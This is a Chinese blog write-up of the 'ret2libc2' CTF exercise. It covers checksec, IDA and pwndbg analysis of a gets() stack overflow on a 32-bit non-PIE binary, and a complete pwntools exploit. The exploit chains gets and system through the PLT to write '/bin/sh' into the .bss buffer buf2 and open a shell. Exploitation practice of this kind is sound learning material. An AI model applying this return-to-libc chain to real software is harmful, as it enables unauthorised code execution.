ret2lib2

发布时间 2023-09-28 12:20:45作者: qianyuzz

ret2libc2

查看文件

ROP$ checksec ret2libc2
[*] '/home/pwn/桌面/题目/ROP/ret2libc2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

IDA静态查看

将文件放入32位IDA中,分析源码,可以得知程序有一个get(),有一个局部变量s

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("Something surprise here, but I don't think it will work.");
  printf("What do you think ?");
  gets(&s);
  return 0;
}

pwngdb动态查看

从上面的IDA分析来看,s距离栈底有64h的距离,化为10进制为100,这是静态调试;那么我们可以使用gdb动态调试看一下是否是100字节的距离。

07:001c│ eax  0xffffd4ec ◂— 'aaaa'
08:0020│ edx  0xffffd4f0 ◂— 0x0
09:0024│      0xffffd4f4 ◂— 0x534
0a:0028│      0xffffd4f8 ◂— 0x9e
0b:002c│      0xffffd4fc —▸ 0xf7fb3a80 (__dso_handle) ◂— 0xf7fb3a80
0c:0030│      0xffffd500 ◂— 0x0
0d:0034│      0xffffd504 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
0e:0038│      0xffffd508 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0
0f:003c│      0xffffd50c —▸ 0xf7fb8c68 (__exit_funcs_lock) ◂— 0x0
10:0040│      0xffffd510 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
11:0044│      0xffffd514 —▸ 0xf7fe22f0 ◂— endbr32 
12:0048│      0xffffd518 ◂— 0x0
13:004c│      0xffffd51c —▸ 0x8048425 (_init+9) ◂— add    ebx, 0x1bdb
14:0050│      0xffffd520 —▸ 0xf7fb53fc (__exit_funcs) —▸ 0xf7fb6900 (initial) ◂— 0x0
15:0054│      0xffffd524 ◂— 0x40000
16:0058│      0xffffd528 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
17:005c│      0xffffd52c —▸ 0x8048722 (__libc_csu_init+82) ◂— add    edi, 1
18:0060│      0xffffd530 ◂— 0x1
19:0064│      0xffffd534 —▸ 0xffffd5f4 —▸ 0xffffd738 ◂— 0x6d6f682f ('/hom')
1a:0068│      0xffffd538 —▸ 0xffffd5fc —▸ 0xffffd75e ◂— 'LANG=zh_CN.UTF-8'
1b:006c│      0xffffd53c —▸ 0xf7e03519 (__cxa_atexit+41) ◂— add    esp, 0x1c
1c:0070│      0xffffd540 —▸ 0xf7fe22f0 ◂— endbr32 
1d:0074│      0xffffd544 ◂— 0x0
1e:0078│      0xffffd548 —▸ 0x80486db (__libc_csu_init+11) ◂— add    ebx, 0x1925
1f:007c│      0xffffd54c ◂— 0x0
20:0080│      0xffffd550 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
22:0088│ ebp  0xffffd558 ◂— 0x0

栈底是0xffffd558,输入的位置是在0xffffd4f0,可以用python计算一下;

>>> 0xffffd558 - 0xffffd4ec
108

这里动态调试和静态调试的结果是不一样的,那么以动态为准。

payload构造

仔细查看发现和ret2libc1差不多,但是缺少了/bin/sh字符串。那可以使用get()函数手动读入;那读入到哪里也是个问题,在IDA中可以查看到.bss区有一个buf2全部变量,位于0x0804A080上,开辟了100个字节。

.bss:0804A040 ; ===========================================================================
.bss:0804A040
.bss:0804A040 ; Segment type: Uninitialized
.bss:0804A040 ; Segment permissions: Read/Write
.bss:0804A040 ; Segment alignment '32byte' can not be represented in assembly
.bss:0804A040 _bss            segment para public 'BSS' use32
.bss:0804A040                 assume cs:_bss
.bss:0804A040                 ;org 804A040h
.bss:0804A040                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:0804A040                 public __bss_start
.bss:0804A040 ; FILE *_bss_start
.bss:0804A040 __bss_start     dd ?                    ; DATA XREF: LOAD:080482B8↑o
.bss:0804A040                                         ; deregister_tm_clones+5↑o ...
.bss:0804A040                                         ; Alternative name is '__TMC_END__'
.bss:0804A040                                         ; stdin@@GLIBC_2.0
.bss:0804A040                                         ; _edata
.bss:0804A040                                         ; Copy of shared data
.bss:0804A044                 align 20h
.bss:0804A060                 public stdout@@GLIBC_2_0
.bss:0804A060 ; FILE *stdout
.bss:0804A060 stdout@@GLIBC_2_0 dd ?                  ; DATA XREF: LOAD:08048298↑o
.bss:0804A060                                         ; main+9↑r
.bss:0804A060                                         ; Alternative name is 'stdout'
.bss:0804A060                                         ; Copy of shared data
.bss:0804A064 completed_6591  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064                                         ; __do_global_dtors_aux+14↑w
.bss:0804A065                 align 20h
.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)
.bss:0804A080 _bss            ends
.bss:0804A080

那我们可以把/bin/sh写入buf2中,在用system函数执行buf2中的内容,就可以得到shell了。

payload:

溢出到返回地址处,先调用一个gets()函数,将/bin/sh写入到buf2中,然后在调用system()函数执行。

from pwn import *

io = process("../ROP/ret2libc2")
elf = ELF("../ROP/ret2libc2")

gets_plt = elf.plt["gets"]
system_plt = elf.plt["system"]
buf2_add = 0x0804A080

payload = b"A"* 112 + p32(gets_plt) + p32(system_plt) + p32(buf2_add) + p32(buf2_add)

io.recvline()
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()